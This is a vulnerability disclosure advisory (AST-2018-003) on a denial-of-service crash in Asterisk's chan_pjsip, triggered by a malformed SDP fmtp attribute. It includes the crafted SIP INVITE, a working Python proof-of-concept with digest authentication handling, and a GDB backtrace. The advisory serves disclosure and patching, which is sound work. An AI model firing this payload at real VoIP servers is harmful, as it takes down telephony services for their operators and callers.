# Segmentation fault occurs in asterisk with an invalid SDP fmtp attribute
- Authors:
- Alfred Farrugia <alfred@enablesecurity.com>
- Sandro Gauci <sandro@enablesecurity.com>
- Latest vulnerable version: Asterisk 15.2.0 running `chan_pjsip`
- References: AST-2018-003
- Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2018-02-asterisk-pjsip-sdp-invalid-fmtp-segfault/>
- Vendor Advisory: <http://downloads.asterisk.org/pub/security/AST-2018-003.html>
- Timeline:
- Issue reported to vendor: 2018-01-15
- Vendor patch made available to us: 2018-02-05
- Vendor advisory published: 2018-02-21
- Enable Security advisory: 2018-02-22
## Description
A specially crafted SDP message body with an invalid fmtp attribute causes a
segmentation fault in asterisk using `chan_pjsip`.
## Impact
Abuse of this vulnerability leads to denial of service in Asterisk when
`chan_pjsip` is in use.
## How to reproduce the issue
The following SIP message was used to reproduce the issue:
```
INVITE sip:5678@127.0.0.1:5060 SIP/2.0
To: <sip:5678@127.0.0.1:5060>
From: Test <sip:5678@127.0.0.1:5060>
Call-ID: adc9caea-2d0a-40af-9de5-1dd21387e03a
CSeq: 2 INVITE
Via: SIP/2.0/UDP 172.17.0.1:10394;branch=z9hG4bKadc9caea-2d0a-40af-9de5-1dd21387e03a
Contact: <sip:5678@172.17.0.1>
Content-Type: application/sdp
Content-Length: 228
v=0
o=- 1061502179 1061502179 IN IP4 172.17.0.1
s=Asterisk
c=IN IP4 172.17.0.1
t=0 0
m=audio 17000 RTP/AVP 9 0 101
a=rtpmap:8 alaw/8000
a=rtpmap:0 PCMU/8000
a=rtpmap:101 telephone-event/8000
a=fmtp\x00:101 0-16
a=sendrecv
```
Notes:
- `\x00` should be replaced by the null character
- authentication may be required
- the destination SIP address should match a valid extension in the dialplan.
To facilitate this process we wrote the following python program to reproduce this issue:
```python
import socket
import re
import md5
import uuid
SERVER_IP = "127.0.0.1"
SERVER_PORT = 5060
UDP_IP = "0.0.0.0"
UDP_PORT = 13940
USERNAME = "5678"
PASSWORD = "5678"
INVITE_USERNAME = "5678"
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((UDP_IP, UDP_PORT))
callid = str(uuid.uuid4())
sdpbody = "v=0\r\no=- 1061502179 1061502179 IN IP4 172.17.0.1\r\n" \
"s=Asterisk\r\n" \
"c=IN IP4 172.17.0.1\r\n" \
"t=0 0\r\n" \
"m=audio 17000 RTP/AVP 9 0 101\r\n" \
"a=rtpmap:8 alaw/8000\r\n" \
"a=rtpmap:0 PCMU/8000\r\n" \
"a=rtpmap:101 telephone-event/8000\r\n" \
"a=fmtp\x00:101 0-16\r\n"\
"a=sendrecv"
msg="INVITE sip:%s@%s:%i SIP/2.0\r\n" \
"To: <sip:%s@%s:%i>\r\n" \
"From: Test <sip:%s@%s:%s>\r\n" \
"Call-ID: %s\r\n" \
"CSeq: 2 INVITE\r\n" \
"Via: SIP/2.0/UDP 172.17.0.1:10394;branch=z9hG4bK%s\r\n" \
"Contact: <sip:%s@172.17.0.1>\r\n" \
"Content-Type: application/sdp\r\n" \
"{{AUTH}}" \
"Content-Length: %i\r\n" \
"\r\n" % (
INVITE_USERNAME, SERVER_IP, SERVER_PORT,
INVITE_USERNAME, SERVER_IP, SERVER_PORT,
USERNAME, SERVER_IP, SERVER_PORT,
callid, callid,
USERNAME, len(sdpbody)
) + \
sdpbody
sock.sendto(msg.replace("{{AUTH}}", ""), (SERVER_IP, SERVER_PORT))
data, addr = sock.recvfrom(10240)
if data.startswith("SIP/2.0 401"):
for line in data.split('\r\n'):
if line.startswith("WWW-Authenticate"):
content = line.split(':', 2)[1].strip()
realm = re.search("realm=\"([a-z]+)\"", content).group(1)
nonce = re.search("nonce=\"([a-z0-9\/]+)\"", content).group(1)
ha1 = md5.new(USERNAME + ":" + realm + ":" + PASSWORD).hexdigest()
uri = "sip:%s:%i" % (SERVER_IP, SERVER_PORT)
ha2 = md5.new("INVITE:" + uri).hexdigest()
r = md5.new(ha1 + ":" + nonce + ":" + ha2).hexdigest()
auth = "Authorization: Digest username=\"%s\"," % (USERNAME) + \
"realm=\"%s\"," % (realm) + \
"nonce=\"%s\"," % (nonce) + \
"uri=\"%s\"," % (uri) + \
"response=\"%s\"," % (r) + \
"algorithm=md5\r\n"
sock.sendto(msg.replace("{{AUTH}}", auth), (SERVER_IP, SERVER_PORT))
```
This security issue was discovered through the use of simple fuzzing with [Radamsa](https://github.com/aoh/radamsa) and our internal toolset.
### GDB backtrace result
```
Thread 197 "asterisk" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fff65e57700 (LWP 10595)]
pjmedia_sdp_attr_get_fmtp (attr=<optimized out>, fmtp=fmtp@entry=0x7fff65e56430) at ../src/pjmedia/sdp.c:350
350 while (pj_isdigit(*p) && p!=end)
(gdb) bt
#0 pjmedia_sdp_attr_get_fmtp (attr=<optimized out>, fmtp=fmtp@entry=0x7fff65e56430) at ../src/pjmedia/sdp.c:350
#1 0x00007fff6bf49070 in get_codecs (session_media=0x7fff74799540, codecs=0x7fff65e56450, stream=0x7fff97f99de0, session=0x7fff74581688) at res_pjsip_sdp_rtp.c:276
#2 set_caps (session=session@entry=0x7fff74581688, session_media=session_media@entry=0x7fff74799540, session_media_transport=0x7fff74799540, stream=stream@entry=0x7fff97f99de0, is_offer=is_offer@entry=1, asterisk_stream=asterisk_stream@entry=0x7fff747a03b0)
at res_pjsip_sdp_rtp.c:352
#3 0x00007fff6bf4b2d7 in negotiate_incoming_sdp_stream (session=0x7fff74581688, session_media=0x7fff74799540, sdp=<optimized out>, index=<optimized out>, asterisk_stream=0x7fff747a03b0) at res_pjsip_sdp_rtp.c:1185
#4 0x00007ffff1a16bb9 in handle_incoming_sdp (session=session@entry=0x7fff74581688, sdp=0x7fff97f99870) at res_pjsip_session.c:671
#5 0x00007ffff1a1a721 in new_invite (invite=<synthetic pointer>) at res_pjsip_session.c:2871
#6 handle_new_invite_request (rdata=0x7fff573f88d8) at res_pjsip_session.c:2966
#7 session_on_rx_request (rdata=0x7fff573f88d8) at res_pjsip_session.c:3030
#8 0x00007ffff7868df7 in pjsip_endpt_process_rx_data (endpt=<optimized out>, rdata=rdata@entry=0x7fff573f88d8, p=p@entry=0x7ffff1a0ace0 <param>, p_handled=p_handled@entry=0x7fff65e56d44) at ../src/pjsip/sip_endpoint.c:887
#9 0x00007ffff17e009f in distribute (data=0x7fff573f88d8) at res_pjsip/pjsip_distributor.c:903
#10 0x00000000005fb3be in ast_taskprocessor_execute (tps=tps@entry=0x1dc33a8) at taskprocessor.c:963
#11 0x0000000000602610 in execute_tasks (data=0x1dc33a8) at threadpool.c:1322
#12 0x00000000005fb3be in ast_taskprocessor_execute (tps=0x1a39488) at taskprocessor.c:963
#13 0x0000000000602af0 in threadpool_execute (pool=0x1a37ca8) at threadpool.c:351
#14 worker_active (worker=0x7fff9457ccd8) at threadpool.c:1105
#15 worker_start (arg=arg@entry=0x7fff9457ccd8) at threadpool.c:1024
#16 0x000000000060d4bd in dummy_start (data=<optimized out>) at utils.c:1257
#17 0x00007ffff5e3d6ba in start_thread (arg=0x7fff65e57700) at pthread_create.c:333
#18 0x00007ffff54263dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109
(gdb)
```
## Solutions and recommendations
Apply the patch issued by Asterisk at <http://www.asterisk.org/security> or upgrade to the latest release.
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